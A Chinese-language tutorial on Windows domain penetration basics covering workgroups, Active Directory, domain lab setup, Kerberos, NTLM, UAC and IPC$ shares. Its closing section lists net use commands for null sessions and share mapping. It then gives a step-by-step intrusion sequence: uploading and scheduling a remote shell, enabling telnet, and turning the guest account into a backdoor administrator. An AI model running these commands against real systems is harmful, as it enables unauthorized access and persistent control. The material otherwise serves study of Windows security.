域渗透基础(一)
(该文参考整理自网上文章,相关链接附于文末)
域
工作组(Work Group)
工作组是局域网中的一个概念,由许多在同一物理地点,而且被相同的局域网连接起来的用户组成的小组,也可以是遍布一个机构的,但却被同一网络连接的用户构成的逻辑小组。工作组是最常见最简单最普通的资源管理模式,就是将不同的电脑按功能分别列入不同的组中,加入工作组是为了区分用户计算机在网络中的类别,如果用户有工作组的话,在管理上会方便很多,可以共享/使用打印机和协和工作,很多小企业都是用这种方法来管理电脑,共享文件。
工作组环境中的登录验证过程:工作组网络也称为“对等式”的网络,因为网络中每台计算机的地位都是平等的,它们的资源以及管理是分散在每台计算机之上,所以工作组环境的特点就是分散管理,工作组环境中的每台计算机都有自己的“本机安全账户数据库”,称为SAM数据库。这个SAM数据库是干什么用的呢?其实就是平时我们登录电脑时,当我们输入账户和密码后,此时就会去这个SAM数据库验证,如果我们输入的账户存在SAM数据库中,同时密码也正确,SAM数据库就会通知系统让我们登录。而这个SAM数据库默认就存储在C:\WINDOWS\system32\config文件夹中。
在 计算机-属性-更改设置-更改 中可设置工作组,即加入某工作组
如图三台在同一局域网计算机开启了网络发现和文件共享,就可在网络中互相发现对方。分别的工作组为WORKGROUP和WORKGROUP1
域(Domain)
域英文叫DOMAIN——域(Domain)是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后,2个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理,以及相互通信和数据传输。
域既是 Windows 网络操作系统的逻辑组织单元,也是Internet的逻辑组织单元,在 Windows 网络操作系统中,域是安全边界。域管理员只能管理域的内部,除非其他的域显式地赋予他管理权限,他才能够访问或者管理其他的域,每个域都有自己的安全策略,以及它与其他域的安全信任关系。
可以把域和工作组联系起来理解,在工作组上你一切的设置在本机上进行包括各种策略,用户登录也是登录在本机的,密码是放在本机的数据库来验证的。而如果你的计算机加入域的话,各种策略是域控制器统一设定,用户名和密码也是放到域控制器去验证,也就是说你的账号密码可以在同一域的任何一台计算机登录。登陆到域中的时候,身份验证是采用Kerberos协议在域控制器上进行的,登陆到此计算机则是通过SAM来进行NTLM验证的。
域控(域控制器 ,Domain Controller,简写为DC)
在“域”模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,称为“域控制器(Domain Controller,简写为DC)”。 域控制器中包含了由这个域的账户、密码、属于这个域的计算机等信息构成的数据库。当电脑联入网络时,域控制器首先要鉴别这台电脑是否是属于这个域的,用户使用的登录账号是否存在、密码是否正确。如果以上信息有一样不正确,那么域控制器就会拒绝这个用户从这台电脑登录。不能登录,用户就不能访问服务器上有权限保护的资源,他只能以对等网用户的方式访问Windows共享出来的资源,这样就在一定程度上保护了网络上的资源。
域控是活动目录的存储地方,也就是说活动目录存储在域控制器内。安装了活动目录的计算机就称为域控制器,其实在你第一次安装活动目录的时候,你安装活动目录的那台计算机就成为了域控制器。一个域可以有一台或多台域控制器。最经典的做法是做一个主辅域控。
活动目录(Active Directory 简称 AD)
活动目录是微软Windows Server中,负责架构中大型网路环境的集中式目录管理服务(Directory Services)。目录服务在微软平台上从Windows Server 2000开始引入,所以我们可以理解为活动目录是目录服务在微软平台的一种实现方式。当然目录服务在非微软平台上都有相应的实现。
Windows Server 2003的域环境与工作组环境最大的不同是,域内所有的计算机共享一个集中式的目录数据库(又称为活动目录数据库),它包含着整个域内的对象(用户账户、计算机账户、打印机、共享文件等)和安全信息等等,而活动目录负责目录数据库的添加,修改,更新和删除。所以我们要在Windows Server 2003上实现域环境,其实就是要安装活动目录。活动目录为我们实现了目录服务,提供对企业网络环境的集中式管理。比如在域环境中,只需要在活动目录中创建一次Bob账户,那么就可以在任意200台电脑中的一台上登录Bob,如果要为Bob账户更改密码,只需要在活动目录中更改一次就可以了,也就是说域用户信息保存在活动目录中。
域、域树、林和组织单元
活动目录的逻辑结构包裹:域(Domain)、域树(Domain Tree)、林(Forest)和组织单元(Organization Unit)。如下图
域是一种逻辑分组,准确的说是一种环境,域是安全的最小边界。域环境能对网络中的资源集中统一的管理,要想实现域环境,你必须要计算机中安装活动目录。 域树是由一组具有连续命名空间的域组成的。如下图
域环境搭建
环境
VMware虚拟机:Windows 2012 R2,Windows 7
设置静态ip
这步确实只需要对域控设置静态ip,但我选择设置所有主机为静态ip以固定网络环境。
Windows 2012 R2 172.16.151.200
Windows 7 172.16.151.201
启动虚拟机,网络和共享中心-更改适配器设置-Ethernet0(右键)-属性-Internet协议版本4(双击)
设置域控的ip如下,DNS就设置为域控ip(后面会在域控上搭建DNS服务)
同理设置win7 ip为172.16.151.201,DNS为域控(172.16.151.200)
修改主机名
这不也不是必须的,但是为了便于辨别和操作,分别设置主机名如下
Windows 2012 R2 DC
Windows 7 WIN7
控制面板-系统和安全-系统-更改设置-更改
安装域控和DNS服务
打开Windows 2012 R2的服务器管理器,点击 添加角色和功能,然后一直点下一步直到 服务器角色
选择 Active Directory 域服务 和 DNS 服务器,然后一直下一步,最后安装
提升服务器为域控
右上角的三角形符号-将此服务器提升为域控制器
添加到新林并设置根域名
输入目录还原模式密码,然后一直下一步
到这里出错是由于之前改了主机名未重启(我先重启一下)
对于 无法创建该DNS 服务器的委派 的警告可以忽略,点击安装
将主机(win7)注册到域
首先测试能否解析域名以及ping通域控,如不能则检查是否DNS设置为域控,防火墙是否禁ping
在修改主机名的地方修改所属域
输入域控服务器的登录账号密码
如果一切正常将会提示成功。然后重启
创建AD域用户
创建成功后即可在win7中用域用户账号登录到域
Windows认证
Kerberos
Kerberos认证简介
Windows认证协议有两种NTLM(NT LAN Manager)和Kerberos,前者主要应用于用于Windows NT 和 Windows 2000 Server(or Later) 工作组环境,而后者则主要应用于Windows 2000 Server(or Later) 域(Domain)环境。Kerberos较之NTLM更高效、更安全,同时认证过程也相对复杂。Kerberos这个名字来源于希腊神话,是冥界守护神兽的名字。Kerberos是一个三头怪兽,之所以用它来命名一种完全认证协议,是因为整个认证过程涉及到三方:客户端、服务端和KDC(Key Distribution Center)。在Windows域环境中,KDC的角色由DC(Domain Controller)来担当。
某个用户采用某个域帐号登录到某台主机,并远程访问处于相同域中另一台主机时,如何对访问者和被访问者进行身份验证(这是一种双向的验证)?
Kerberos实际上是一种基于票据(Ticket)的认证方式。客户端要访问服务器的资源,需要首先购买服务端认可的票据。也就是说,客户端在访问服务器之前需要预先买好票,等待服务验票之后才能入场。在这之前,客户端需要先买票,但是这张票不能直接购买,需要一张认购权证。客户端在买票之前需要预先获得一张认购权证。这张认购权证和进入服务器的入场券均有KDC发售。一张图基本揭示了Kerberos整个认证的过程
如何获得“认购权证”?
首先,我们来看看客户端如何获得“认购权证”。这里的认购权证有个专有的名称——TGT(Ticket Granting Ticket),而TGT的是KDC一个重要的服务——认证服务(KAS:Kerberos Authentication Service)。当某个用户通过输入域帐号和密码试图登录某台主机的时候,本机的Kerberos服务会向KDC的认证服务发送一个认证请求。该请求主要包括两部分内容,明文形式的用户名和经过加密的用于证明访问者身份的Authenticator
当KDC接收到请求之后,通过AD获取该用户的信息。通过获取的密码信息生成一个秘钥对Authenticator进行解密。如果解密后的内容和已知的内容一致,则证明请求着提供的密码正确,即确定了登录者的真实身份。
KAS成功认证对方的身份之后,会先生成一个用于确保该用户和KDC之间通信安全的会话秘钥——Logon Session Key,并采用该用户密码派生的秘钥进行加密。KAS接着为该用户创建“认购权证”——TGT。TGT主要包含两方面的内容:用户相关信息和Logon Session Key,而整个TGT则通过KDC自己的密钥进行加密。最终,被不同密钥加密的Logon Session Key和TGT返回给客户端。(以上的内容对应流程图中的步骤1、2)
如何通过“认购权证”购买“入场券”?
经过上面的步骤,客户端获取了购买进入同域中其他主机入场券的“认购凭证”——TGT,以及Logon Session Key,它会在本地缓存此TGT和Logon Session Key。如果现在它需要访问某台服务器的资源,它就需要凭借这张TGT向KDC购买相应的入场券。这里的入场券也有一个专有的名称——服务票据(ST:Service Ticket)。
具体来说,ST是通过KDC的另一个服务TGS(Ticket Granting Service)出售的。客户端先向TGS发送一个ST购买请求,该请求主要包含如下的内容:客户端用户名;通过Logon Session Key加密的Authenticator;TGT和访问的服务器(其实是服务)名。
TGS接收到请求之后,现通过自己的密钥解密TGT并获取Logon Session Key,然后通过Logon Session Key解密Authenticator,进而验证了对方的真实身份。
TGS存在的一个根本的目有两点:其一是避免让用户的密码客户端和KDC之间频繁传输而被窃取。其二是因为密码属于Long Term Key(我们一般不会频繁的更新自己的密码),让它作为加密密钥的安全系数肯定小于一个频繁变换得密钥(Short Term Key)。而这个Short Term Key就是Logon Session Key,它确保了客户端和KDC之间的通信安全。
TGS完成对客户端的认证之后,会生成一个用于确保客户端-服务器之间通信安全的会话秘钥——Service Session Key,该会话秘钥通过Logon Session Key进行加密。然后出售给客户端需要的入场券——ST。ST主要包含两方面的内容:客户端用户信息和Service Session Key,整个ST通过服务器密码派生的秘钥进行加密。最终两个被加密的Service Session Key和ST回复给客户端。(以上的内容对应流程图中的步骤3、4)
凭票入场
客户端接收到TGS回复后,通过缓存的Logon Session Key解密获取Service Session Key。同时它也得到了进入服务器的入场券——ST。那么它在进行服务访问的时候就可以借助这张ST凭票入场了。该Serivce Session Key和ST会被客户端缓存。
但是,服务端在接收到ST之后,如何确保它是通过TGS购买,而不是自己伪造的呢?这很好办,不要忘了ST是通过自己密码派生的秘钥进行加密的。具体的操作过程是这样的,除了ST之外,服务请求还附加一份通过Service Session Key加密的Authenticator。服务器在接收到请求之后,先通过自己密码派生的秘钥解密ST,并从中提取Service Session Key。然后通过提取出来的Service Session Key解密Authenticator,进而验证了客户端的真实身份。
实际上,到目前为止,服务端已经完成了对客户端的验证,但是,整个认证过程还没有结束。谈到认证,很多人都认为只是服务器对客户端的认证,实际上在大部分场合,我们需要的是双向验证(Mutual Authentication)——访问者和被访问者互相验证对方的身份。现在服务器已经可以确保客户端是它所声称的那么用户,客户端还没有确认它所访问的不是一个钓鱼服务呢。
为了解决客户端对服务器的验证,服务要需要将解密后的Authenticator再次用Service Session Key进行加密,并发挥给客户端。客户端再用缓存的Service Session Key进行解密,如果和之前的内容完全一样,则可以证明自己正在访问的服务器和自己拥有相同的Service Session Key,而这个会话秘钥不为外人知晓(以上的内容对应流程图中的步骤5、6)
NTLM
在允许的环境下,Kerberos是首选的认证方式。在这之前,Windows主要采用另一种认证协议——NTLM(NT Lan Manager)。NTLM使用在Windows NT和Windows 2000 Server(or later)工作组环境中(Kerberos用在域模式下)。在AD域环境中,如果需要认证Windows NT系统,也必须采用NTLM。较之Kerberos,基于NTLM的认证过程要简单很多。NTLM采用一种质询/应答(Challenge/Response)消息交换模式。
步骤一
用户通过输入Windows帐号和密码登录客户端主机。在登录之前,客户端会缓存输入密码的哈希值,原始密码会被丢弃(“原始密码在任何情况下都不能被缓存”,这是一条基本的安全准则)。成功登录客户端Windows的用户如果试图访问服务器资源,需要向对方发送一个请求。该请求中包含一个以明文表示的用户名。
步骤二
服务器接收到请求后,生成一个16位的随机数。这个随机数被称为Challenge或者Nonce。服务器在将该Challenge发送给客户端之前,该Challenge会先被保存起来。Challenge是以明文的形式发送的。
步骤三
客户端在接收到服务器发回的Challenge后,用在步骤一中保存的密码哈希值对其加密,然后再将加密后的Challenge发送给服务器。
步骤四
服务器接收到客户端发送回来的加密后的Challenge后,会向DC(Domain)发送针对客户端的验证请求。该请求主要包含以下三方面的内容:客户端用户名;客户端密码哈希值加密的Challenge和原始的Challenge。
步骤五六
DC根据用户名获取该帐号的密码哈希值,对原始的Challenge进行加密。如果加密后的Challenge和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。DC将验证结果发给服务器,并最终反馈给客户端。
用户帐户控制(User Account Control ,简称 UAC)
概念
用户帐户控制 (User Account Control) 是Windows Vista(及更高版本操作系统)中一组新 的基础结构技术,可以帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统,同时也可以帮助组织部署更易于管理的平台。
使用 UAC,应用程序和任务总是在非管理员帐户的安全上下文中运行,但管理员专门给系统授予管理员级别的访问权限时除外。UAC 会阻止未经授权应用程序的自动安装,防止无意中对系统设置进行更改。
用户帐户控制(UAC)是新版Windows 的核心安全功能,也是其最常被人误解的众多安全功能当中的一种。
原理
在新版 Windows 中,有两个级别的用户:标准用户和管理员。标准用户是计算机 Users 组的成员;管理员是计算机 Administrators 组的成员。
与以前版本的 Windows 不同,默认情况下标准用户和管理员都会在标准用户安全上下文中访问资源和运行应用程序。任何用户登录到计算机后,系统为该用户创建一个访问令牌。该访问令牌包含有关授予给该用户的访问权限级别的信息,其中包括特定的安全标识符(SID) 信息和 Windows 权限。当管理员登录到计算机时,该版本的 Windows 为该用户创建两个单独的访问令牌:标准用户访问令牌和管理员访问令牌。标准用户访问令牌包含的用户特定信息与管理员访问令牌包含的信息相同,但是已经删除管理 Windows 权限和 SID。标准用户访问令牌用于启动不执行管理任务的应用程序(“标准用户应用程序”)。
当管理员需要运行执行管理任务的应用程序(“管理员应用程序”)时,该版本的 Windows 提示用户将他们的安全上下文从标准用户更改或“提升”为管理员。该默认管理员用户体验称为“管理审核模式”。在该模式下,应用程序需要特定的权限才能以管理员应用程序(具有与管理员相同访问权限的应用程序)运行。
默认情况下,当管理员应用程序启动时,会出现“用户帐户控制”消息。如果用户是管理员,该消息会提供选择允许或禁止应用程序启动的选项。如果用户是标准用户,该用户需要输入一个本地 Administrators 组成员的帐户的密码(若Administrator用户组的用户没有密码则该密码文本框留空)。
IPC$(Internet Process Connection )
在WindowsXP windows7等系统中,隐藏着一种据说是可以“致命”的漏洞,它让很多人一听到就谈“虎”色变。在“我的电脑”上右击“管理”,依次选择“系统工具→共享文件夹→共享”,就会看到右边窗口中的默认共享。这些带有美元“$”标记的符号就是Windows系统默认共享,也就是Windows在安装完毕后自动共享的功能,很多人都听说是个漏洞。
IPC$(Internet Process Connection)可以被理解为一种“专用管道”,可以在连接双方建立一条安全的通道,实现对远程计算机的访问。Windows NT/2000/XP提供了IPC$功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(C$,D$,E$……)和系统目录(ADMIN$)共享。所有这些共享的目的,都是为了方便管理员的管理,但在有意无意中,导致了系统安全性的隐患
然默认共享是漏洞,微软干嘛不补上?其实默认共享是一项非常有用的功能,只是我们平时用不到罢了。微软的初衷是便于网管进行远程管理。试想一下。在一个大型网络里管理员有必要亲自跑到某台机上去看一些东西或是删除一些东西吗?这些管理员坐在主机前通过默认共享可以很轻松地办到。这是微软为了方便管理而提供的功能。不知从什么时候开始,它变成人家口中所说的漏洞了
如果你开放了所有的默认共享。人家就可以利用默认共享到你电脑里tou东西吗?答案是否定的。除非是你自己想放他进来。默认共享是管理员级别或是有相对应权限的账户的操作。你试试guest级用户能使用默认共享吗?不能!为什么说是你自己想放别人进来呢?你问问自己。你的管理员密码呢?要么直接为空。要么就是些123,1234之类的弱口令。用扫描工具短短时间内就能被猜解的。你已经打开了大门,人家有什么理由不进来呢?
就算是你密码为空或是弱口令,对方也不一定能用默认共享进入你的电脑进行管理员级别的操作。为什么?当共享方式为仅来宾方式时。任何连接的用户权限只能是guest级别的。guest能有多少权限?不信你可以做一次实验。向一台启用了仅来宾且开放默认共享的主机用net use命令进行连接。例如:net use \\ip\IPC$ "password" /user:"administrator"我可以肯定的告诉你:无论你的password填的是什么。都会提醒你"命令成功完成"。你实际上得到了管理员权限吗?答案是否定的。你得到的只是guest权限。很庆幸的是,Windows XP安装后的默认共享方式就是"仅来宾"的方式。
利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。
我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。
所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的.
默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)
示例
建立空连接
不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了.
net use \\IP\ipc$ "" /user:""
既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限
建立非空连接
如果知道账号密码的话
net use \\IP\ipc$ "password" /user:"username"
删除一个ipc$连接
net use \\IP\ipc$ /del
映射共享
将目标c盘映射为本地z盘
net use z: \\IP\c$
删除共享映射
net use c: /del 删除映射的c盘,其他盘类推
net use * /del 删除全部,会有提示要求按y确认
查看远程主机的共享资源(但看不到默认共享)
net view \\IP
查看远程主机的当前时间
net time \\IP
向远程主机复制文件
copy \路径\srv.exe \\IP\共享目录名,如:
copy ccbirds.exe \\*.*.*.*\c 即将当前目录下的文件复制到对方c盘内
远程添加计划任务
at \\ip 时间 程序名,如:
at \\127.0.0.0 11:00 love.exe
注意:时间尽量使用24小时制;在系统默认搜索路径(比如system32/)下不用加路径,否则必须加全路径
(另一种方法是schtasks,这是升级版的at命令)
经典入侵模式
1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。
2. C:\>copy srv.exe \\127.0.0.1\admin$
先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。
3. C:\>net time \\127.0.0.1
查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。
4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)
(另一种方法是schtasks,这是升级版的at命令)
5. C:\>net time \\127.0.0.1
再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。
6. C:\>telnet 127.0.0.1 99
这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。
虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了
7.C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
8. C:\WINNT\system32>ntlm
输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!
9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)
为了以防万一,我们再把guest激活加到管理组
10. C:\>net user guest /active:yes
将对方的Guest用户激活
11. C:\>net user guest 1234
将Guest的密码改为1234,或者你要设定的密码
12. C:\>net localgroup administrators guest /add
将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)
参考:
百度百科
活动目录的介绍:深入浅出Active Directory系列
Active Directory(活动目录) & Domain(域)
https://securepla.net/Windows_Domain.htm